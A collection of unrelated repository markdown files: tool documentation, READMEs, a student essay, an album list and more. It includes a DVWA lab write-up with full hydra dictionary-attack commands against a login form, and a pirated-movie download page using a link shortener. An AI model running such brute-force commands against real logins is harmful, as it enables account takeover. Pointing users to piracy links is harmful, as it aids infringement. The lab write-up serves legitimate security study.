You can also redefine the default values as you go along.

   graph g {
        node @{shape='rectangle'}
        edge a,b
        node @{shape='house'}
        edge b,c,d,a
    }

[![Source](images/defaultNode.png)](images/defaultNode.png)

## Node [Object[]] -NodeScript [scriptblock]
Just like with the scripted specification on the `edge`, `node` supports them too.

    graph g {
        node $csv -NodeScript {$_.UserName}
    }

This allows you to pass in the full list of objects and then provide a script to pull the value. This is a very simple example, but this gives you a lot of flexibility. Where you can call any function in line if needed

    graph g {
        node $csv -NodeScript {(Get-ADUser $_.username).name}
    }

## pipeline support
You can pipe objects to the `node` command.

    graph g {
        $csv | node -NodeScript {(Get-ADUser $_.username).name}
    }

I generally don't use this syntax but I wanted to give the user the flexibility.

## Node -Attribute @{key=[scriptblock]}
This is one of the more creative features on this command. It allows you to specify a `[ScriptBlock]` for object properties.

    graph g {
        node $csv -NodeScript {$_.username} @{label={$_.name}}
    }

You can either pull values directly from the object or to a per object calculation. There are lots of use cases for this.

    # more verbose labels
    graph g {
        node $csv -NodeScript {$_.username} @{label={'{0} : {1}' -f $_.name, $_.department}}
    }

    # using a lookup table
    $colors = @{
        Admin = 'RED'
        'IT' = 'Blue'
    }
    graph g {
        node $csv -NodeScript {$_.username} @{shape='rect';style='filled';color={$colors[$_.department]}}
    }

    # using in line calculations
    graph g {
        node $csv -NodeScript {$_.username} @{shape={if($_.department -eq 'Admin'){'rectangle'}else{'circle'}}}
    }

## [object].Where([ScriptBlock])
This is also a good time to point out that you can use the `Where` function quite nicely with the `node` command. In any cases this will be easyer to work with.

    graph g {
        node $csv.where({$_.department -eq 'Admin'}) -NodeScript {$_.username} @{shape='rect';style='filled';color='Red'}
        node $csv.where({$_.department -eq 'IT'}) -NodeScript {$_.username} @{shape='rect';style='filled';color='Blue'}
    }

But you can still use the classic pipeline to do this too.

    graph g {
        $csv | where department -eq 'Admin' | node -NodeScript {$_.username} @{shape='rect';style='filled';color='Red'}
        $csv | where department -eq 'IT' | node -NodeScript {$_.username} @{shape='rect';style='filled';color='Blue'}
    }

repository: jhoneill/PSGraph

repo_name: jhoneill/PSGraph


text:
---
layout: essay
type: essay
title: Knowledge
# All dates must be YYYY-MM-DD format!
date: 2019-12-17
labels:
  - Class skills
---

I learned new programming methods from my ISC 314 class. I learned to coding under pressure. Team cooperation was emphasized in the final assignment. This class was the first to teach me to make practical user interfaces.

  Coding Under Pressure - Because of a timed in-class programming system, I have learned to code quickly without making mistakes. This is useful both for coding with limited time, and programming more efficiently over all. I can more effectively code, without expending time frivolously.

  Teamwork - The final project for my ISC 314 class required intricate teamwork. I worked on some simple team-based programming before this but this project required us to communicate closely to compete effectively, so I learn how to coordinate with a group.

  User Interface - I have learned to make interactive pages, allowing for better usability. My past programs were not meant to be used by non-programmers, and generally required at least some direct interaction with code. I can now program user-friendly programs.


text:
# csvtojson
A small library that converts CSV to JSON faster

## Installation

  `npm install superparser`

## Usage

    var convert = require('superparser');

    var result=convert.csvstring(" john,jack,joe \n 1,2,3 \n 4,5,6");

  Output should be `''[{" john":" 1","jack":"2","joe ":"3 "},{" john":" 4","jack":"5","joe ":"6"}]''`

## Tests

  `npm test`

repository: chancmg/csvtojson

repo_name: chancmg/csvtojson


text:
# Dharma.LoggingBlock

## Contents

- [LoggingBlockViewModel](#T-Dharma-LoggingBlock-ViewModels-LoggingBlockViewModel 'Dharma.LoggingBlock.ViewModels.LoggingBlockViewModel')
- [LoggingController](#T-Dharma-LoggingBlock-Controllers-LoggingController 'Dharma.LoggingBlock.Controllers.LoggingController')

## LoggingBlockViewModel `type`

##### Namespace

Dharma.LoggingBlock.ViewModels

##### Summary

Model that represents a logging information to client blocks. The structure of this ViewModel are:
| Name | Type | Explanation | Example |
| ---- | ---- | ----------- | ------- |
| Id | string | Autogenerated Id of logging message. This property is ignored when adding a new log entry | 6d598109-4f06-40ed-b6f0-33e26b1f53e7 |
| Message | string | Message information that want to be logged | *any message* |
| Type | string | Type of message | Possible options are: `Info`, `Warning`, `Error`or `Fatal`|
| BlockOrigin | string | Client block name | AuthenticationBlock, ChatBlock, etc. |

## LoggingController `type`

##### Namespace

Dharma.LoggingBlock.Controllers

##### Summary

Logging Block. Responsible for logging information for other blocks provided through a RESTful API

#### Operations available:

| Type | Operation | Behavior |
| ---- | --------- | ------ |
| GET | `[endpoint]`/get/{id} | Endpoint that returns a specific logging through its ID |
| GET | `[endpoint]`/{blockName} | Endpoint that returns all logging information about a specific Block |
| GET | `[endpoint]`/{blockName}/{type} | Endpoint that returns all logging information about a specific block and type |
| POST | `[endpoint]`| Endpoint to save logging information. It needs to pass a full `LoggingBlockViewModel`strutucture in body |

repository: saleslessa/Dharma

repo_name: saleslessa/Dharma


text:
<!--
parent:
  order: false
-->

# List of Modules

Here are some production-grade modules that can be used in Cosmos SDK applications, along with their respective documentation:

- [Auth](auth/spec/README.md) - Authentication of accounts and transactions for Cosmos SDK application.
- [Bank](bank/spec/README.md) - Token transfer functionalities.
- [Governance](gov/spec/README.md) - On-chain proposals and voting.
- [Staking](staking/spec/README.md) - Proof-of-stake layer for public blockchains.
- [Slashing](slashing/spec/README.md) - Validator punishment mechanisms.
- [Distribution](distribution/spec/README.md) - Fee distribution, and staking token provision distribution.
- [Crisis](crisis/spec/README.md) - Halting the blockchain under certain circumstances (e.g. if an invariant is broken).
- [Mint](mint/spec/README.md) - Creation of new units of staking token.
- [Params](params/spec/README.md) - Globally available parameter store.
- [Supply](supply/spec/README.md) - Total token supply of the chain.

To learn more about the process of building modules, visit the [building modules reference documentation](../docs/building-modules/README.md).


text:
# zaeke

## 这是对[ZAEKE](http://www.zaeke.com "ZAEKE")移动端页面的“复刻”

## Project setup
```
npm install
```

### Compiles and hot-reloads for development
```
npm run serve
```

### Compiles and minifies for production
```
npm run build
```

### Lints and fixes files
```
npm run lint
```

repository: ZhcZack/m-zaeke

repo_name: ZhcZack/m-zaeke


text:
# Install wings on Ubuntu 18.04

This guide covers the installation of the requirements for a daemon with SSL enabled.

[[toc]]

## Install Requirements

The daemon requirements can be found [here](/daemon/installing.md#system-requirements)

### General Requirements
```bash
apt install -y zip unzip tar make gcc g++ python
```

### Docker

```bash
apt install -y docker.io

systemctl enable docker
systemctl start docker
```

### nodejs

```bash
apt install -y nodejs npm
```

## Installing the daemon
Follow the regular guide to install the [daemon](/daemon/installing.md#installing-daemon-software)

repository: AlienSteel/documentation

repo_name: AlienSteel/documentation


text:
+++
summary = "About the Cookbook"
description = "About This Page"
title = "About the Cookbook"
date = 2021-02-04T11:28:18-06:00
+++

The Application Modernization Cookbook is a collection of patterns and techniques that facilitate the modernization of applications.

## Where do I start?

You can click on Recipe Collections and choose a particular category to start.

## I can't seem to find...

Try the search box (top left).

## How do I add or update a recipe?

Check out the [recipe](/common/recipes).


text:
---
title: Installing nvm
order: 15
---

FreeSewing is built with [Node.js](https://nodejs.org/), a JavaScript runtime.

You'll need to install Node.js on your system, and to do so, we'll
use [`nvm`](https://github.com/nvm-sh/nvm), short for _Node Version Manager_.

Using `nvm` has a number of benefits in comparison with installing Node.js from
the Node.js website, or from a package that came with macOS.

- You can easily switch between different Node.js versions
- Everything gets installed in your home folder, avoiding permission problems

To setup `nvm`, [follow the install instructions in the nvm
README](https://github.com/nvm-sh/nvm#installing-and-updating).

After the installation, try running the following command:

```bash
nvm
```

If all goes well, it should show you the `nvm` help.

<Tip>

If you get `nvm: command not found` or something similar, close the current terminal
window, and open a new one. Now `nvm` should be found.

</Tip>

repository: freesewing/freesewing

branch_name: refs/heads/develop

repo_name: freesewing/freesewing


text:
# ✉ serverless-mailer-kinesis
Serverless Service for sending emails via a Kinesis stream. Compatible with Serverless version 1.0.0-rc.2.

Basically a slightly modified version of [serverless-mailer](https://github.com/eahefnawy/serverless-mailer)

### Features

* 30+ pre-configured services (Gmail, Hotmail, SendGrid...etc)
* HTML content as well as plain text alternative
* 30+ supported HTML template engines (handlebars, jade, haml...etc)
* Easy HTML styling with Juice
* Embedded images in HTML
* Email Attachments
* Unicode to use any characters

### Quick Usage
- Clone the service

```
git clone https://github.com/ejcoyle88/serverless-mailer-kinesis
```

- Install Dependencies

```
cd serverless-mailer
yarn install
```

- Set Environment Variables

Open `.env` file and set the following env vars:

```
EMAIL_SERVICE=Gmail
<EMAIL_ADDRESS>EMAIL_SERVICE_PASS=password
```
**NOTE:** In case of Gmail, you need to setup an "App Password"

- Deploy The Service (`serverless deploy`)
- Invoke The Function:

Edit the following event data in the `event.json` file with your own data:

```
{
  "from"<EMAIL_ADDRESS>  "to"<EMAIL_ADDRESS>  "subject": "Hello",
  "template": "welcome",
  "context": {
    "first_name": "Sam",
    "last_name": "Smith"
  }
}

```

Then invoke the `send` function by running `serverless invoke -f send -e event.json`

This will use the `welcome` template coupled with the context/data (first_name & last_name).
You should receive an email that says:

```
Welcome Sam Smith
```

You can edit the template text by editing these two files:

```
serverless-mailer-kinesis/lib/templates/html.handlebars
serverless-mailer-kinesis/lib/templates/text.handlebars
```

### Supported Services
serverless-mailer supports the following 30 service, pre-configured and ready to use. You just provide the service, username & password in env vars as shown earlier:

* **'1und1'**
* **'AOL'**
* **'DebugMail.io'**
* **'DynectEmail'**
* **'FastMail'**
* **'GandiMail'**
* **'Gmail'**
* **'Godaddy'**
* **'GodaddyAsia'**
* **'GodaddyEurope'**
* **'hot.ee'**
* **'Hotmail'**
* **'iCloud'**
* **'mail.ee'**
* **'Mail.ru'**
* **'Mailgun'**
* **'Mailjet'**
* **'Mandrill'**
* **'Naver'**
* **'Postmark'**
* **'QQ'**
* **'QQex'**
* **'SendCloud'**
* **'SendGrid'**
* **'SES'**
* **'Sparkpost'**
* **'Yahoo'**
* **'Yandex'**
* **'Zoho'**

### Template Engines
serverless-mailer comes with a `welcome` template for demonstration. You can add/remove templates from the following directory:

```
serverless-mailer-kinesis/lib/templates/
```

serverless-mailer uses handlebars as the default template engine. You can use any other template engine by adding it to the module's `package.json` file and update dependencies with `npm install`.

Here's the full list of supported templates:

- [atpl](https://github.com/soywiz/atpl.js)
- [doT.js](https://github.com/olado/doT) [(website)](http://olado.github.io/doT/)
- [dust (unmaintained)](https://github.com/akdubya/dustjs) [(website)](http://akdubya.github.com/dustjs/)
- [dustjs-linkedin (maintained fork of dust)](https://github.com/linkedin/dustjs) [(website)](http://linkedin.github.io/dustjs/)
- [eco](https://github.com/sstephenson/eco)
- [ect](https://github.com/baryshev/ect) [(website)](http://ectjs.com/)
- [ejs](https://github.com/visionmedia/ejs)
- [haml](https://github.com/visionmedia/haml.js) [(website)](http://haml-lang.com/)
- [haml-coffee](https://github.com/9elements/haml-coffee) [(website)](http://haml-lang.com/)
- [hamlet](https://github.com/gregwebs/hamlet.js)
- [handlebars](https://github.com/wycats/handlebars.js/) [(website)](http://handlebarsjs.com/)
- [hogan](https://github.com/twitter/hogan.js) [(website)](http://twitter.github.com/hogan.js/)
- [htmling](https://github.com/codemix/htmling)
- [jade](https://github.com/visionmedia/jade) [(website)](http://jade-lang.com/)
- [jazz](https://github.com/shinetech/jazz)
- [jqtpl](https://github.com/kof/node-jqtpl) [(website)](http://api.jquery.com/category/plugins/templates/)
- [JUST](https://github.com/baryshev/just)
- [liquor](https://github.com/chjj/liquor)
- [lodash](https://github.com/bestiejs/lodash) [(website)](http://lodash.com/)
- [mote](https://github.com/satchmorun/mote) [(website)](http://satchmorun.github.io/mote/)
- [mustache](https://github.com/janl/mustache.js)
- [nunjucks](https://github.com/mozilla/nunjucks) [(website)](https://mozilla.github.io/nunjucks)
- [QEJS](https://github.com/jepso/QEJS)
- [ractive](https://github.com/Rich-Harris/Ractive)
- [react](https://github.com/facebook/react)
- [swig](https://github.com/paularmstrong/swig) [(website)](http://paularmstrong.github.com/swig/)
- [templayed](http://archan937.github.com/templayed.js/)
- [liquid](https://github.com/leizongmin/tinyliquid) [(website)](http://liquidmarkup.org/)
- [toffee](https://github.com/malgorithms/toffee)
- [underscore](https://github.com/documentcloud/underscore) [(website)](http://documentcloud.github.com/underscore/)
- [walrus](https://github.com/jeremyruppel/walrus) [(website)](http://documentup.com/jeremyruppel/walrus/)
- [whiskers](https://github.com/gsf/whiskers.js)

after choosing your template engine, make sure the file extensions of the template files match the template you chose:

```
html.{{ext}}
text.{{ext}}
style.{{ext}}
```

### Mail Options (Event Properties):

Here's the full list of options you can pass in your event:

  - **from** - The e-mail address of the sender. All e-mail addresses can be plain<EMAIL_ADDRESS>or formatted `'Sender Name<EMAIL_ADDRESS>see [here](#address-formatting) for details
  - **sender** - An e-mail address that will appear on the *Sender:* field
  - **to** - Comma separated list or an array of recipients e-mail addresses that will appear on the *To:* field
  - **cc** - Comma separated list or an array of recipients e-mail addresses that will appear on the *Cc:* field
  - **bcc** - Comma separated list or an array of recipients e-mail addresses that will appear on the *Bcc:* field
  - **replyTo** - An e-mail address that will appear on the *Reply-To:* field
  - **inReplyTo** - The message-id this message is replying
  - **references** - Message-id list (an array or space separated string)
  - **subject** - The subject of the e-mail
  - **template** - The template to use for this email. Make sure it matches one of the folder names inside the `templates` folder
  - **context** - The context/data the template needs. eg. `{"first_name": "..."}`
  - **watchHtml** - Apple Watch specific HTML version of the message (*experimental*)
  - **headers** - An object or array of additional header fields (e.g. *{"X-Key-Name": "key value"}* or *[{key: "X-Key-Name", value: "val1"}, {key: "X-Key-Name", value: "val2"}]*)
  - **attachments** - An array of attachment objects
  - **alternatives** - An array of alternative text contents (in addition to text and html parts)
  - **envelope** - optional SMTP envelope, if auto generated envelope is not suitable
  - **messageId** - optional Message-Id value, random value will be generated if not set
  - **date** - optional Date value, current UTC string will be used if not set
  - **encoding** - optional transfer encoding for the textual parts


text:
---
layout: post
title: "Top 10 Best Music Albums"
categories: top10s
excerpt: "Top 10"
comments: false
share: true
---

# 10. Straight Outta Compton - NWA

![](https://upload.wikimedia.org/wikipedia/en/d/d2/N.W.A.StraightOuttaComptonalbumcover.jpg)

The first and best gangsta rap album ever, Straight Outta Compton fundamentally changed the rap world, the music world, and the way inner city anger was communicated. Songs like 'Fuck tha Police' and the title song 'Straight Outta Compton' both demonstrated the frustrations of urban youth, and their lack of spelling.

# 9. Division Bell - Pink Floyd

![](http://images.sfae.com/product_images/preview/1781.jpg)

I know, I did NOT pick Dark Side or the Wall to represent Floyd. I picked one of their final albums released in the early '90s. And it doesn't even have Roger Waters in it. Cheap, I know. Dirty, I guess. Wrong......NO WAY! This is a fine album that has some very deep themes, interesting lyrics, and that David Gilmour guitar singing throughout the entire album. There is not a bad song on this and the more you listen to it, the better it gets.

# 8. Greatest Hits 1 - Elton John

![](http://superhypeblog.com/wp-content/uploads/2016/07/EltonJohnGreatestHits1-3-Sealed437730.jpg)

Elton John, not Michael Jackson, is the true king of pop. His career spans over 50 years, making top 10 hits in 5+ decades, and has written songs in many different styles. It is hard just to pick one of his albums, but I think his early 'Greatest Hits' album is a good start. These songs pre-date 1975, so there are many good ones left off, but 'Your Song', 'Benny and the Jets', 'Don't Let the Sun Go Down on Me', and his best 'Rocket Man' made the cut. Not many albums hold so many great songs. Of course not many albums are 'Greatest Hit' albums. Too bad 'Crocodile Rock' slipped in there.

# 7. Berlin Philharmonic Symphony #9 - Ludwig von Beethoven

![](http://ecx.images-amazon.com/images/I/71hwFvRLEiL._SL1099_.jpg)

Beethoven's magnum opus, Symphony #9 is the coup-de-gras of all symphonic works before and after. This 60 minute menagerie of sound has the most innovative and jarring beginning of a symphony (the miasma of strings flitting around the chromatic scale until they all converge into a strong D minor chord that slaps you in the ass), a second movement that is NOT slow and easy, a third that is used to set up probably the most famous and bastardized melody in history; Schiller's 'Ode to Joy'. And who better to perform such a musical triumph than his Vaterlund.....Germany! The Berlin Symphony is known to be heavy on the bass and volume, just what Beethoven wanted. Although any 9th Symphony performance will do, I say the Berlin one is my favorite.

# 6. Ride the Lightning - Metallica

![](http://www.metal-archives.com/images/5/4/4/544.jpg?4439)

Please do not be mislead. People who want to sound smart say 'Master of Puppets' is their best. It is not. Old school fans will say 'Kill'em All' is their best. That is completely fake news. And outsiders will say the Black album is their best. Ehh....not so fast. Listen here, Ride the Lightning is their best album.  From the beginning bars of 'Fight Fire with Fire' to the end solo of 'The Call of Chutulu', this is Metallica at their best. Hard, fast, catchy bass riffs, and downright awesome.

# 5. Volume 1 - Afro Celt Sound System

![](http://dizw242ufxqut.cloudfront.net/images/product/music/album/image2/sound_magic_volume_1-18941097-frntl.jpg)

I know no one has ever heard of this group but me. But trust me, they really are a real group. I am not making them up. They used to be under Peter Gabriel's label. They have had people like Gabriel, Robert Plant, and Sinead O'Connor do songs. They have even toured in the states. Even Seattle!! Anyway, if you don't believe me and think they are a figment of my imagination, type in 'Volume 1: Afro Celt' in YouTube and enjoy. This is the album that launched them into fame...well UK fame....well world music lovers in the UK fame......OK fine!!! They are not famous. But their music is amazing. Just check them out.

# 4. Fragile - Nine Inch Nails

![](https://images-na.ssl-images-amazon.com/images/I/41hihzDYtIL.jpg)

Trent Reznor is one of the only modern-day musicians that uses old style musical techniques. From his instrumentation (obviously digitized sounds instead of orchestral instruments) to his dynamic/tempo changes to his liberal use of counterpoint, Reznor has a sophisticated and old school musical approach. Oh yeah, his music also varies from thrash techno metal to ambient white noise-ish music. His best album, the Fragile, uses all of his tricks in this massive 120 minute concept album. You get hard core metal, you get soft core non-metal, you get medium-core metallic alloys, all in one. You can't top that. Well, unless you are one of the three albums rated better.

# 3. Operation Mindcrime - Queensryche

![](https://images-na.ssl-images-amazon.com/images/I/61bjExxTzdL.jpg)

Another concept album, this hugely ambitious rock opera done by Queensryche did what Tommy and Quadropenia could not do; make this list. This album tells an entire story of a guy who gets kidnapped by the government and is brainwashed. Sounds cool, huh? Well, it is still better than a blind kid playing pinball. Anyway, the concept of the album is secondary to the music. Every song helps tell the overall story (in both lyrics and in dramatic musical tone) and every song is a a borderline classic in itself. There is a reason why this album still has a cult following, because it is just that good. Even non Queensryche fans know of this album and respect. And if they don't know or respect the album, they are very stupid people who should not be listened to at all.

# 2. It Takes a Nation to Hold Us Back - Public Enemy

![](http://cdn2.pitchfork.com/news/57267/1b73203c.jpg)

The greatest rap group of all time. Period. They dominate this genre much like Bob Barker dominates the greatest game show hosts list or how steak dominates the best meats list. And 'It Takes a Nation...' is the album that is universally agreed upon as their finest effort. Read any magazine like Jet, Ebony, or Ebony Jet and you will find this album at the top of their greatest rap album lists.  But anyone worth their salt knows that songs like 'Bring The Noise', 'Rebel Without a Pause', and 'Black Steel in the Hour of Chaos' are songs that transcend the rap world with hardcore beats, on-point sampling, thoughtful lyrics, and a punishing voice in Chuck D. Even for 2017, this 1988 album still is black to the bone.

# 1. Box Set CD #3 - Led Zeppelin

![](https://images-na.ssl-images-amazon.com/images/I/51voa4-cMnL.jpg)

The box set that started all box sets; the Led Zeppelin one with the crop circles. We all know it. We all wanted it. And for $50 USD, we could own it. Granted, people who are long time fans of Zeppelin didn't need to buy their box set; they already had the songs. But for people my age, we didn't have the pleasure of living in that time, so we needed to by all the songs in bulk. But what a purchase it was; over 4 hours of Zeppelin's best, from Black Dog, to Stairway, to the Ocean, to all the songs that allude to Lord of the Rings, to the myriad of other songs you love but didn't even know it was them, this box set has it all. So if all four albums are so rich with amazing music, how did I come up #3?

Well, it is the one with Kashmir; the song I plan to be played at my funeral.


text:
## Pepper Face Mask Detection Authors

The Pepper Face Mask Detection library was written by the Developer Experience team at Softbank Robotics, Paris, July 2020.

* **Remi Humbert**
* **Émile Kroeger**
* **Joss Stuart**

gha_language: Java


text:
## Flutter Mentor App ![Twitter URL](https://img.shields.io/twitter/url?style=social&url=https%3A%2F%2Ftwitter.com%2Fthealphamerc) [![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_mentor_app?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_mentor_app) ![GitHub forks](https://img.shields.io/github/forks/TheAlphamerc/flutter_mentor_app?style=social) ![GitHub last commit](https://img.shields.io/github/last-commit/Thealphamerc/flutter_mentor_app) [![Open Source Love](https://badges.frapsoft.com/os/v2/open-source.svg?v=103)](https://github.com/Thealphamerc/flutter_mentor_app)

Mentor app is created using flutter. App is a basically ui design implementation of [Mentor App](https://www.linkedin.com/posts/shruti-sharma-40a004114_ui-ux-uiux-activity-6715299763748691968-YanF/) designed by [Shruti Sharma](https://www.linkedin.com/in/shruti-sharma-40a004114/)

## Download App ![GitHub All Releases](https://img.shields.io/github/downloads/Thealphamerc/flutter_mentor_app/total?color=green)

## Video Url
YouTube link :- [Flutter Mentor App](https://youtu.be/edwHh002SgQ)

## Screenshots

 HomePage              |  Profile Page
:-------------------------:|:-------------------------:
![](https://github.com/TheAlphamerc/flutter_mentor_app/blob/master/screenshots/screenshot_1.png?raw=true)|![](https://github.com/TheAlphamerc/flutter_mentor_app/blob/master/screenshots/screenshot_2.png?raw=true)

## Flutter projects
 Project Name        |Stars
:-------------------------|-------------------------
[Twitter clone](https://github.com/TheAlphamerc/flutter_twitter_clone)| [![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_twitter_clone?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_twitter_clone)
|[Ecommerce App](https://github.com/TheAlphamerc/flutter_ecommerce_app) |[![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_ecommerce_app?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_ecommerce_app)
|[Smart course](https://github.com/TheAlphamerc/flutter_smart_course) |[![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_smart_course?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_smart_course)
|[Pokedex](https://github.com/TheAlphamerc/flutter_pokedex)|[![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_pokedex?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_pokedex)
|[Authentication](https://github.com/TheAlphamerc/flutter_login_signup)|[![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_login_signup?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_login_signup)
|[Wallet App](https://github.com/TheAlphamerc/flutter_wallet_app)|[![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_wallet_app?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_wallet_app)
|[News App](https://github.com/TheAlphamerc/flutter_news_app)|[![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_news_app?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_news_app)
|[Watch App](https://github.com/TheAlphamerc/flutter_SoftUI_watchApp)|[![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_SoftUI_watchApp?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_SoftUI_watchApp)
|[Smart Home App](https://github.com/TheAlphamerc/flutter_smart_home_app)|[![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_smart_home_app?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_smart_home_app)
|[Yatch Booking App](https://github.com/TheAlphamerc/flutter_yatch_booking)|[![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_yatch_booking?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_yatch_booking)
[GitConnect](https://github.com/TheAlphamerc/flutter-GitConnect)| [![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter-GitConnect?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter-GitConnect)

## Flutter Packages
Package Name        | Stars
:-------------------------|-------------------------
|[Empty widget](https://github.com/TheAlphamerc/empty_widget) |[![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/empty_widget?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%empty_widget)
|[Add Thumbnail](https://github.com/TheAlphamerc/flutter_plugin_add_thumbnail) |[![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_plugin_add_thumbnail?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_plugin_add_thumbnail)
|[Filter List](https://github.com/TheAlphamerc/flutter_plugin_filter_list)| [![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/flutter_plugin_filter_list?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%flutter_plugin_filter_list)
|[Country Provider](https://github.com/TheAlphamerc/country_provider)| [![GitHub stars](https://img.shields.io/github/stars/Thealphamerc/country_provider?style=social)](https://github.com/login?return_to=%2FTheAlphamerc%country_provider)

## Pull Requests

I welcome and encourage all pull requests. It usually will take me within 24-48 hours to respond to any issue or request.

## Created & Maintained By

[Sonu Sharma](https://github.com/TheAlphamerc) ([Twitter](https://www.twitter.com/TheAlphamerc)) ([Youtube](https://www.youtube.com/user/sonusharma045sonu/))
([Insta](https://www.instagram.com/_sonu_sharma__))  ![Twitter Follow](https://img.shields.io/twitter/follow/thealphamerc?style=social)

> If you found this project helpful or you learned something from the source code and want to thank me, consider buying me a cup of :coffee:
>
> * [PayPal](https://www.paypal.me/TheAlphamerc/)

> You can also nominate me for Github Star developer program
> https://stars.github.com/nominate

## Visitors Count


text:
# Dev Server >> Plugins >> Legacy ||6

Plugin for using the dev server or test runner on legacy browsers, for example on Internet Explorer 11 which does not support modules.

## Usage

```
npm i --save-dev @web/dev-server-legacy
```

Add the plugin to your config:

```js
import { legacyPlugin } from '@web/dev-server-legacy';

export default {
  plugins: [
    // make sure this plugin is always last
    legacyPlugin(),
  ],
};
```

> Make sure the legacy plugin is always the last one to transform your code. Otherwise it will compile away modules before other tools can process them.

## How it works

The plugin will automatically detect user agents which don't support modules. For those browsers it injects polyfills, transforms code to es5 and polyfills modules using [SystemJS](https://www.npmjs.com/package/systemjs).

## Configuration

The legacy plugins injects common polyfills on the page using [polyfills-loader](https://github.com/open-wc/open-wc/tree/master/packages/polyfills-loader). It's possible to turn off this behavior:

```js
import { legacyPlugin } from '@web/dev-server-legacy';

export default {
  plugins: [
    // make sure this plugin is always last
    legacyPlugin({ polyfills: false }),
  ],
};
```

You can also turn off only some polyfills, or add custom polyfills:

```js
import { legacyPlugin } from '@web/dev-server-legacy';

export default {
  plugins: [
    // make sure this plugin is always last
    legacyPlugin({
      // these are the default values
      coreJs: true,
      regeneratorRuntime: 'always',
      fetch: true,
      abortController: true,
      webcomponents: true,
      intersectionObserver: false,
      resizeObserver: false,

      // you can also inject custom polyfills:
      custom: [
        {
          // the name, must be unique
          name: 'my-feature-polyfill',
          // path to the polyfill file
          path: require.resolve('my-feature-polyfill'),
          // a test that determines when this polyfill should be loaded
          // often this is done by checking whether some property of a
          // feature exists in the window
          test: "!('myFeature' in window)",
          // whether your polyfill should be loaded as an es module
          module: false,
          // some polyfills need to be explicitly initialized
          // this can be done with the initializer
          initializer: 'window.myFeaturePolyfills.initialize()',
        },
      ],
    }),
  ],
};
```

repository: modernweb-dev/web

gha_language: TypeScript

repo_name: modernweb-dev/web


text:
---
title: "Power Rangers 2017 Tamil +Telugu Dubbed Movie Download"
date: "2020-03-07"
---

                        [![](https://1.bp.blogspot.com/-WR9mh8XsZbA/Xl_6DNkiWrI/AAAAAAAAAcQ/fOZrbs6wZ2sTDkXkh86dcpsTl7Hqb6dRwCLcBGAsYHQ/s320/images.jpg)](https://1.bp.blogspot.com/-WR9mh8XsZbA/Xl_6DNkiWrI/AAAAAAAAAcQ/fOZrbs6wZ2sTDkXkh86dcpsTl7Hqb6dRwCLcBGAsYHQ/s1600/images.jpg)

**Five ordinary teens must become something**
**extraordinary when they learn that their small town of Angel Grove – and the world – is on the verge of being obliterated by an alien threat.  But to do so, they will have to overcome their real-life issues and before it’s too late, band together as the Power Rangers.**

Info :

Movie Name : Power Rangers (2017)
Release Date : 31 March 2017
Director : Dean Israelite
Movie Language : Tamil + Telugu
Movie Duration : 2 Hours 4 Minutes

           **Power Rangers (2017) Movie**

             **[Watch Online](http://gestyy.com/w8OIO5) / [Download](http://gestyy.com/w8OIO5)**


text:
# Brute Force - Low/Medium/High/Impossible

## Low and Medium

We see that when we try to log in with some admin:password, we get a image response, so we know the user is admin. No need to run through a dictionary of common users (which we will show later on). We can then use hydra or burp suite to "bruteforce", technically a dictionary attack though as we are not trying every combination.

Single user: `hydra  -l admin  -P /usr/share/seclists/Passwords/rockyou.txt -e ns  -F  -u  -t 5  -w 1  -v  -V  <IP_ADDRESS>  http-get-form   "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie\: security=low; PHPSESSID=63434563"`

Multiple user: `hydra  -L /root/users.txt  -P /usr/share/seclists/Passwords/rockyou-40.txt -e ns  -F  -u  -t 5  -w 1  -v  -V  <IP_ADDRESS>  http-get-form   "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie\: security=low; PHPSESSID=63434563"`

Taken from [g0tmi1k](https://blog.g0tmi1k.com/dvwa/bruteforce-low/).
The commands are as follows:

`-e ns` checks for null password and itself
`-F` quits when it finds the password
`-u` what happens with this one is that it will try all usernames against the first password, then move to second and so forth. Instead of a single user trying all the combination to find out that there is no such user!
`-t 5 and -w 1` creates 5 threads (in parallel) and each threads wait 1 second after completion
`-v` enables verbose
`-V` prints our username and password
`:F=Username and/or password incorrect` blacklist approach , similarly you can do the same with `F=Content-Length\: 1524` because we know that the (failed login attempt) will be the same size.

## High

#todo

repository: rahmiy/CTF-write-ups

path: /DVWA/Brute Force/README.md

repo_name: rahmiy/CTF-write-ups


text:
# Gravity

- What is the name of your project?
Answer: Gravity Group

- What is your project about? What is your mission & vision?
Answer: Gravity Capital is an entity that provides investor relations and roadshow services for our top-performing portfolio companies. Gravity Capital works with companies between Seed and Series B.
Gravity Select Ventures (GSV) is a venture fund focused on mission-driven teams working on projects that leverage “inevitable technologies.” GSV looks for companies with positive unit economics and sustainable business models.

